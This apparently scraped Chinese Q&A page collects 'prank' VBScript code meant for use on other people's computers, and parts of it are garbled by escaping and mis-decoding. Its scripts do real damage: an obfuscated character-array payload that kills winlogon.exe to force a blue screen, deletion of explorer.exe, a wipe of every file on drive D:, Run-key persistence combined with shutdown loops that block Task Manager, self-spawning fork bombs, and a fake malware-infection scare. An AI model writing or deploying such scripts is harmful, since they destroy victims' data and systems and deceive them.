求VBS整人代码。。。。。。。。 vbs整人代码大全
\u6c42\u5927\u91cfVBS\u6574\u4eba\u4ee3\u7801.\u7b2c\u4e00\u4e2a do msgbox "hi" loop \u7b2c\u4e8c\u4e2a Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop \u7b2c\u4e09\u4e2a if MsgBox("\u5bf9\u4e0d\u8d77,\u60a8\u704c\u6c34\u592a\u591a\u9700\u8981\u91cd\u65b0\u542f\u52a8\u8ba1\u7b97\u673a\u3002"&chr(10)&"\u786e\u5b9a\u8981\u91cd\u542f\u5417\uff1f",vbOKCancel+vbInformation,"\u91cd\u65b0\u542f\u52a8\u8ba1\u7b97\u673a")=vbCancel then msgbox " \u7cfb\u7edf\u5c06\u7acb\u523b\u91cd\u8d77wow ~_^",,"\u4f60\u4e0a\u5f53\u4e86\uff01\uff01" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if \u7b2c\u56db\u4e2a '\u8fd9\u4e2a\u5f88\u5f3a\u608d\u7684vbs,\u84dd\u5c4f strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner \u7b2c\u4e94\u4e2a if MsgBox("\u4f60\u662f\u732a\u5934\u5417\uff1f",vbYesNo,"\u63d0\u793a")=vbyes then msgbox "\u4f60SB\u554a!" else msgbox "\u8fd8\u4e0d\u627f\u8ba4!! \u4f5c\u4e3a\u60e9\u7f5a\uff0c\u84dd\u5c4f\u4e00\u4e0b\uff0c\u4f60\u9a6c\u4e0a\u6302\u4e86#\uffe5\uff01@#\uffe5%@\u2026\u2026#\u2026\u2026?",64,"\u4e25\u91cd\u8b66\u544a!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if \u7b2c\u516d\u4e2a Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 \u7b2c\u4e03\u4e2a set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" \u7b2c\u516b\u4e2a Set ws=WScript.CreateObject("WScript.Shell") ws.popup"\u5927\u5bb6\u597d\uff0c\u6211\u5c31\u662f\u6539\u53d8\u793e\u4f1a\u98ce\u6c14\uff0c\u98ce\u9b54\u4e07\u5343\u5c11\u5973\uff0c\u523a\u6fc0\u7535\u5f71\u5e02\u9053\uff0c\u63d0\u9ad8\u5e74\u8f7b\u4eba\u5185\u6db5\uff0c",10,"\u95ea\u4eae\u767b\u573a",64 ws.popup"\u7389\u6811\u4e34\u98ce\uff0c\u98ce\u5ea6\u7fe9\u7fe9\u7684\u2026\u2026\u201c\u5495\u565c\u2026\u5495\u565c\u2026\u201d\uff0c\u4e0d\u597d\u610f\u601d\uff0c\u6211\u5185\u6025\u5148\u95ea\u4e86\uff0c\u518d\u89c1\uff01",15,"farewell",64 wscript.sleep 100000 ws.popup"\u53d1\u73b0\u91cd\u8981windows\u66f4\u65b0\u672a\u5b89\u88c5\uff0c\u7cfb\u7edf\u5c06\u81ea\u52a8\u4e0b\u8f7d\u66f4\u65b0\u5e76\u5b89\u88c5",10 ws.popup"\u6b63\u5728\u4e0b\u8f7dwindows\u66f4\u65b0\u2026\u2026",12 wscript.sleep 10000 ws.popup"windows\u66f4\u65b0\u5df2\u4e0b\u8f7d\u5b8c\u6bd5\uff0c\u6b63\u5728\u5b89\u88c5\u66f4\u65b0\u2026\u2026",12 wscript.sleep 3000 msgbox"\u7cfb\u7edf\u68c0\u6d4b\u5230WINDOWS\u66f4\u65b0\u4e2d\u643a\u5e26\u6709\u4e0d\u660e\u8f6f\u4ef6 comcontroler.exe \uff0c\u5e76\u5728\u5f3a\u884c\u5d4c\u5165\u4f60\u7684\u7535\u8111",4132,"\u662f\u5426\u5bf9\u5176\u8fdb\u884c\u626b\u63cf\uff1f" msgbox"\u8f6f\u4ef6\u540d\uff1acomcontroler.exe "&vbcrlf&""&vbcrlf&" \u5927\u5c0f\uff1a1.21MB "&vbcrlf&""&vbcrlf&" \u53d1\u884c\u8005\uff1a\u5e7b\u60f3\u4e36\u6c38\u6052\uff08403746401\uff09"&vbcrlf&""&vbcrlf&" \u5b89\u5168\u72b6\u51b5\uff1a\u6709\u75c5\u6bd2",vbinformation msgbox"comcontroler.exe\u5b58\u5728\u4e0d\u5b89\u5168\u56e0\u7d20",4132,"\u662f\u5426\u963b\u6b62\u5176\u5b89\u88c5" msgbox"\u963b\u6b62\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u9632\u706b\u5899\u662f\u5426\u5f00\u542f" wscript.sleep 15000 ws.popup"windows\u66f4\u65b0\u5b89\u88c5\u6210\u529f\uff01",vbinfmation,20 msgbox"\u60a8\u7684\u7535\u8111\u53ef\u80fd\u5df2\u88ab\u5165\u4fb5\uff0c\u8bf7\u5c3d\u5feb\u4fee\u6539\u60a8\u7684QQ\u5bc6\u7801\u53ca\u5176\u4ed6\u673a\u5bc6\u8d44\u6599,\u4ee5\u514dQQ\u88ab\u76d7\u6216\u4e22\u5931\u8d44\u6599",vbinformation ws.popup"\u54c8\u54c8\uff0c\u6211\u5df2\u7ecf\u63a7\u5236\u4e86\u4f60\u7684\u7535\u8111\uff01",12,"\u5f88\u9ad8\u5174\u89c1\u5230\u4f60",64 ws.popup"\u4e0d\u4fe1\uff1f\u6211\u7528\u4f60\u7684\u7535\u8111\u6253\u5f00\u6211\u7684QQ\u7a7a\u95f4\u7ed9\u4f60\u770b\u770b",10 ws.run" http://user.qzone.qq.com/403746401/infocenter" msgbox"\u8b66\u544a\uff1a\u4e3a\u4e86\u60a8\u7684\u7535\u8111\u5b89\u5168\uff0c\u8bf7\u5c3d\u5feb\u5b89\u88c5\u4f7f\u7528\u6740\u6bd2\u8f6f\u4ef6\u5bf9\u7cfb\u7edf\u8fdb\u884c\u5168\u9762\u6740\u6bd2",vbinformation ws.popup"\u6211\u518d\u6253\u5f00\u4e2d\u56fd\u795e\u6ce3\u5b98\u65b9\u7f51\u7ad9",10 ws.run" http://shaiya.gtgame.com.cn/index.htm" ws.popup"\u73b0\u5728\u76f8\u4fe1\u4e86\u5427\uff1f\u6211\u518d\u6253\u5f00\u4f60\u7684\u8bb0\u4e8b\u672c\u7ed9\u4f60\u5199\u5c01\u82f1\u8bed\u4fe1",20 ws.popup"\u8bb0\u4e8b\u672c\u4f1a\u88ab\u6253\u5f00\u5e76\u6700\u5927\u5316\uff0c\u8fd9\u65f6\u4f60\u4e0d\u8981\u52a8\uff0c\u5343\u4e07\u522b\u628a\u76ee\u6807\u8f6c\u79fb\u5230\u5176\u4ed6\u7a97\u53e3\uff0c\u8010\u5fc3\u770b\u6211\u628a\u4fe1\u5199\u5b8c\u3002\u5426\u5219\u5f15\u8d77\u7cfb\u7edf\u6df7\u4e71\u6211\u53ef\u4e0d\u8d1f\u8d23\uff01" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") \u7b2c\u4e5d\u4e2a for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"\u5509:-(( \u2299 o \u2299 )\uff01\u5440\uff0c\u6211\u597d\u7d2f\u554a\uff0c\u6211\u4e0b\u4e86 886",30 ws.popup"\u4e0b\u673a\u53ef\u4e0d\u80fd\u5fd8\u4e86\u5173QQ \u6211\u5427QQ\u5173\u4e86\u54c8",8 ws.run "taskkill /f /im qq.exe" ws.popup"\u4f60\u8fd8\u8981\u4e0a\u5427 \u6162\u6162\u73a9\u54e6",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("\u8bf7\u8f93\u5165\u89e3\u9664\u5173\u673a\u5bc6\u7801") if a="403746401" then ws.run"shutdown -a" msgbox"\u5bc6\u7801\u9a8c\u8bc1\u6210\u529f\uff0cenjoy the best!" exit do else msgbox"\u5bc6\u7801\u9a8c\u8bc1\u5931\u8d25\uff0c\u8bf7\u8f93\u5165\u89e3\u9664\u5173\u673a\u5bc6\u7801\uff1a403746401 ",vbretrycancel end if loop ws.popup"\u54c8\u54c8 \u88ab\u5413\u5230\u4e86\u5427 \u597d\u73a9\u5427\uff1f\u4f60\u4ee5\u4e3a\u771f\u7684\u662f\u75c5\u6bd2\uff1f\u5475\u5475O(\u2229_\u2229)O~\uff0c\u6211\u8fd8\u6ca1\u90a3\u4e48\u6253\u672c\u4e8b\u80fd\u505a\u51fa\u75c5\u6bd2\u6765\uff01",57 ws.popup"(\(^o^)/~ \u597d\u5566\uff0c\u8ddf\u4f60\u5f00\u4e86\u4e2a\u5c0f\u5c0f\u73a9\u7b11\u3002\u4f60\u4e5f\u53ef\u4ee5\u628a\u8fd9\u4e2a\u6587\u4ef6\u53d1\u7ed9\u5176\u4ed6\u4eba\uff0c\u800d\u800d\u522b\u4eba\u3002\u5475\u5475^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU\u6e29\u5ea6\u8fc7\u9ad8\uff0c\u7cfb\u7edf\u51fa\u73b0\u4e25\u91cd\u9519\u8bef\uff01\uff0c\u8bf7\u7ed3\u675f\u6240\u6709\u5e94\u7528\u7a0b\u5e8f\u8ba9CPU\u964d\u6e29\uff01",16+4096,"\u7cfb\u7edf\u63d0\u793a\uff1a" wscript.sleep 1000*45 loop \u7b2c\u5341\u4e2a set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" \u7b2c\u5341\u4e00\u4e2a dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next \u7b2c\u5341\u4e8c\u4e2a dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("\u8bf7\u5728\u5bf9\u8bdd\u6846\u4e2d\u586b\u5199\u4f60\u771f\u5b9e\u7684\u59d3\u540d\uff01"&vbcrlf&""&vbcrlf&"\u7a0d\u540e\u5c06\u4f1a\u7ed9\u4f60\u610f\u5916\u7684\u60ca\u559c\uff01\uff01 "&vbcrlf&""&vbcrlf&"\u4e0d\u4fe1\u4f60\u53ef\u4ee5\u8bd5\u8bd5\u770b\uff01\uff01\uff01"&vbcrlf&""&vbcrlf&"\u6700\u597d\u662f\u4e2d\u6587\u540d\u00b7\u00b7\u00b7","\u82ae\u6d32\u63d0\u793a\uff1a","\u8bf7\u5728\u6b64\u8f93\u5165\u4f60\u7684\u540d\u5b57") If a = ""Then WScript.Quit End If MyVar=MsgBox ("\u4f60\u7684\u540d\u5b57\u53eb\uff1a"&a&" ",vbYesNo + vbExclamation,"\u82ae\u6d32\u63d0\u793a\uff1a") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("\u8bf7\u5728\u5bf9\u8bdd\u6846\u4e2d\u586b\u5199\u4f60\u771f\u5b9e\u7684\u59d3\u540d\uff01"&vbcrlf&""&vbcrlf&"\u7a0d\u540e\u5c06\u4f1a\u7ed9\u4f60\u610f\u5916\u7684\u60ca\u559c\uff01\uff01 "&vbcrlf&""&vbcrlf&"\u4e0d\u4fe1\u4f60\u53ef\u4ee5\u8bd5\u8bd5\u770b\uff01\uff01\uff01"&vbcrlf&""&vbcrlf&"\u6700\u597d\u662f\u4e2d\u6587\u540d\u00b7\u00b7\u00b7","\u82ae\u6d32\u63d0\u793a\uff1a","\u8bf7\u5728\u6b64\u8f93\u5165\u4f60\u7684\u540d\u5b57") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("\u5c0a\u656c\u7684 "&a&" \u4f60\u597d\uff01"&vbcrlf&""&vbcrlf&"\u8bf7\u586b\u5199\u4e00\u4e0b\u4f60\u7684\u7231\u597d\u3002(\u53ea\u9700\u586b\u4e00\u4e2a\u54e6\uff01)","\u82ae\u6d32\u63d0\u793a\uff1a","\u8bf7\u5728\u6b64\u8f93\u5165\u4f60\u7684\u7231\u597d") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("\u8bf7\u5728\u4e0b\u9762\u5bf9\u8bdd\u6846\u4e2d\u8f93\u5165\u4f60\u7684\u51fa\u751f[\u5e74 \u6708\u65e5]\u7535\u8111\u5c06\u81ea\u52a8\u7b97\u51fa\u5230\u76ee\u524d\u4e3a\u6b62\u4f60\u5df2\u7ecf\u5728\u5730\u7403\u4e0a\u5b58\u6d3b\u4e86\u591a\u5c11\u65f6\u95f4\uff01"&vbcrlf&""&vbcrlf&"\u4e0b\u9762\u4ee5\u6211\u4e3a\u5217 \u4e0d\u540c\u53ef\u4ee5\u4fee\u6539"&vbcrlf&""&Chr(10)&"\u683c\u5f0f\u4e3a\uff1a1987-06-02","\u82ae\u6d32\u63d0\u793a\uff1a","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"\u606d\u559c "&a&" \u5df2\u5728\u5730\u7403\u4e0a\u5b58\u6d3b\u4e86:"&age&"\u5929 "&h&"\u5c0f\u65f6 "&n&"\u5206\u949f.....",vbOKCancel+63,"\u82ae\u6d32\u63d0\u793a\uff1a") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\\u684c\u9762\"&a&"\u7684\u79d8\u5bc6.vbs",true) auto.WriteLine"MSGBOX"&""""&"\u6211\u7684\u540d\u5b57\u53eb:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"\u6211\u7684\u7231\u597d\u662f:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"\u5df2\u7ecf\u6d3b\u4e86:"&age&"\u5929 "&h&"\u5c0f\u65f6 "&n&"\u5206\u949f "&""""&",64,"&""""&""&a&"\u7684\u81ea\u6211\u4ecb\u7ecd\uff1a""" auto.WriteLine"msgbox"&""""&"\u4eb2\u7231\u7684 "&a& " \u518d\u89c1\u4e86\uff01"&""""&",48,"&""""&"\u82ae\u6d32\u63d0\u793a\uff1a"&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\\u684c\u9762\\u795d"&a&"\u751f\u65e5\u5feb\u4e50.TXT",true) auto.WriteLine"\u672c\u4eba\u82ae\u6d32\u795d: "&a&" \u751f\u65e5\u5feb\u4e50\u3001\u5fc3\u60f3\u4e8b\u6210\u3001\u6562\u4e8e\u5927\u80c6\u5c1d\u8bd5\u3001\u65e9\u65e5\u98de\u9ec4\u817e\u8fbe......." auto.WriteLine"\u4f60\u5df2\u5728\u5730\u7403\u4e0a\u751f\u6d3b\u4e86:"&age&"\u5929 "&h&"\u5c0f\u65f6 "&n&"\u5206\u949f\u4e86" auto.WriteLine"\u65f6\u95f4\u662f\u6839\u636e\u4f60\u7684\u51fa\u751f\u5e74\u6708\u65e5\u7b97\u7684\uff0c\u53ef\u80fd\u4e0d\u662f\u5f88\u7cbe\u786e\uff0c\u4f46\u76ee\u7684\u53ea\u662f\u60f3\u8ba9\u77e5\u9053\u65f6\u95f4\u8fc7\u7684\u5f88\u5feb\uff0c\u8bf7\u73cd\u60dc\u65f6\u95f4!!!\u3002"
\u8fd9\u4e2a\u5f88\u5f3a\u608d\u7684vbs,\u84dd\u5c4f
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
vbs\u89e3\u5305\u4ee3\u78012010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;"
msgbox "你是否经常失眠？",vbyesno
msgbox "我也经常失眠。唉。"
msgbox "我告诉你一个祖传秘方吧！"
for i=1 to 50
sh.popup i & "只羊",1
next
wscript.sleep 1000
sh.popup "好吧，晚安！",5
do
sh.run "shutdown -s -f -t 30"
msgbox "再见~"
loop
这个自动打字：很吓人的
dim sh,str,a,i
set sh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!" '这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行：呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
这个立刻蓝屏：
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任务管理器")=true then
ws.run "taskkill /f /im Taskmgr.exe"
end if
if ws.appactivate("命令提示符")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系统关机")=false then
ws.run "shutdown -s -f -t 30"
end if
loop
这个会出现一堆窗口：
Set sh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
这个五秒内死机，十秒内鼠标不能动！
do
createobject("wscript.shell").run wscript.scriptfullname
loop
1.直接关机行么？
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
2.删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
3.不断弹出窗口
do while(1)
msgbox "内容！"
loop
4.不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
绛旓細浠ｇ爜涓锛氭棤闄愬脊鍑轰俊鎭 鍙屽紩鍙峰唴鍙互鑷淇敼 do msgbox "鐖遍偙鍝ョ埍鐢熸椿"loop 浠ｇ爜浜岋細鎵撳紑N涓绠楀櫒锛屽埌鐢佃剳姝绘満 et wsh=createobject("wscript.shell")do wsh.run "calc"loop 浠ｇ爜涓夛細鐢佃剳鍏虫満 dim WSHshell set WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s ...
绛旓細WScript.Echo("鍢匡紝璋㈣阿浣犳墦寮鎴戝摝锛屾垜绛変綘寰堜箙鎷夛紒"&TSName)WScript.Echo("浣犳槸鍙埍鐨勫皬鏈嬪悧?")WScript.Echo("鍝,鎴戞兂浣犳媺锛岃繖浣犻兘涓嶇煡閬撳悧锛")WScript.Echo("鎬庝箞鎵嶆潵锛岃~鏄笉鏄笉鍏冲績鎴")WScript.Echo("鍝,鎴戠敓姘旀媺锛岀瓑浣犺繖涔堜箙锛屽績閮藉噳鍟︺")WScript.Echo("灏忓己寰堢敓姘旓紝鍚庢灉寰堜弗閲嶅摝...
绛旓細浠ｇ爜涓:鏃犻檺寮瑰嚭淇℃伅妗 鍙屽紩鍙峰唴鍙互鑷淇敼do msgbox "鐖遍偙鍝ョ埍鐢熸椿" loop 浠ｇ爜浜:鎵撳紑N涓绠楀櫒,鍒扮數鑴戞鏈篹t wsh=createobject("wscript.shell") do wsh.run "calc" loop 浠ｇ爜涓:鐢佃剳鍏虫満dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ...
绛旓細1銆侀鍏堟潵鐪嬬涓涓剼鏈紝杩欎釜鑴氭湰浼氭瘡闅1绉掑氨寮瑰嚭涓涓獥鍙ｏ紝骞朵笖浣犻兘鍏充笉鎺夛紝濡備笅鍥炬墍绀 2銆佺劧鍚庣浜屼釜鑴氭湰鏄笉鏂殑寰幆涓娈靛唴瀹癸紝濡備笅鍥炬墍绀猴紝瀹冨拰绗竴涓竴鏍凤紝涔熶笉鑳藉叧闂脊绐 3銆佹帴涓嬫潵杩欎釜鑴氭湰姣忎竴娆″惊鐜細灞曠ず4涓脊绐楋紝姣忎釜寮圭獥鐨勫唴瀹逛笉涓鏍凤紝姣忎釜寮圭獥鐨勫脊鍑洪棿闅斾负1绉掞紝濡備笅鍥炬墍绀 4銆佹渶鍚庝竴...
绛旓細瀹屾暣浠ｇ爜濡備笅锛--- set vbs = createobject("Wscript.shell")a = inputbox("璇疯緭鍏" & vbcr & """鎴戞槸澶х铔""" & vbcr & "鍚﹀垯鐢佃剳灏嗙珛鍗抽噸鍚", "绗ㄨ泲鐐稿脊")if a <> "鎴戞槸澶х铔" then vbs.run("shutdown -r -t 0"),vbhide end if --- 鎶婁唬鐮佹嫹璐濆埌璁颁簨鏈噷锛...
绛旓細dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""璇粹滄垜鏄疿X鈥濓紝涓嶈鈥滄垜鏄疿X鈥濆氨涓鍒嗛挓鍏充綘鐨勬満锛屼笉淇★紝璇曡瘯鈥︹"" ",0,true dim a do while(a <> "鎴戞槸XX锛屽ぇ鍝ユ垜鐪熺殑鏄疿X鍟!")a = inputbox ("璇存垜...
绛旓細鍏堟潵绗竴娈靛脊绐浠ｇ爜锛 msgbox"鍐呭A"+chr(13)+"鍐呭B"+chr(13)+"鍐呭C",1,"鏍囬" 灏嗗畠浠鍒跺埌鏂囨湰涓紝灏嗗悗缂鏀规垚鈥.vbs鈥濆氨鍙互鍙屽嚮鎵ц浜嗐傚叾涓渕sgbox鈥濅唬琛╓indows绯荤粺鐨勫脊绐楄鍛婏紝鍐呭A銆佸唴瀹笲銆佸唴瀹笴鏄ぇ瀹舵兂鍦ㄥ脊绐椾笂鏄剧ず鐨勬枃瀛楋紝鑰屸滄爣棰樷...
绛旓細vbs鏁翠汉浠ｇ爜(瑕佸彲浠ョ敤鐨) 鎴戠洿鎺OPY鍒拌浜嬫湰閲,鎵浠ュ埆鎵撻敊浜嗐 鎴戞潵绛 1涓洖绛 #鐑# 鍏徃閭ｄ簺璁炬柦鍙互鎻愰珮鍛樺伐骞哥鎰?Hi鏉戦暦 2010-09-08 路 TA鑾峰緱瓒呰繃247涓禐 鐭ラ亾绛斾富 鍥炵瓟閲:57 閲囩撼鐜:0% 甯姪鐨勪汉:35.5涓 鎴戜篃鍘荤瓟棰樿闂釜浜洪〉 鍏虫敞 灞曞紑鍏ㄩ儴 ---浠ｇ爜:Set ws=WScript.CreateOb...
绛旓細鏈変汉瑕VBS鏁翠汉浠ｇ爜锛屾垜灏卞啓浜嗕竴涓紝濡傛灉鐜╃瑧寮寰楄繃鐏紝鍗冧竾鍒獋鎴戝晩~绠鍗曟弿杩颁竴涓嬶細鏂囦欢澶瑰悓鍚嶇梾姣掞紙Autorun鐥呮瘨锛夊ぇ瀹堕兘鐔熸倝鍚э紵鏁堟灉灏辨槸閭ｆ牱锛堜笉杩囨斁蹇冨惂锛岀粷涓嶆槸鐪熺殑鐥呮瘨锛岄獥浜虹殑锛夛紝璇曟兂锛屽鏋滄湁浜轰腑鎷涳紝浠栦細鎬庝箞鍔烇紵鏉姣掞紵娌＄敤锛堝洜涓烘牴鏈笉鏄梾姣掞級锛屾儏鎬ヤ箣涓嬪拫鍔烇紵鑳′贡鍒犱竴閫氾紝鎶辨瓑锛屼粬浜叉墜...
绛旓細fs.copyfile thn,a1&"\admin123.vbs",true do while i<10 i=i+1 ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"loop ws.run "shutdown -s -f -t 60"do wscript.sleep 500 if ws.appactivate("Windows 浠诲姟绠＄悊鍣")=true ...
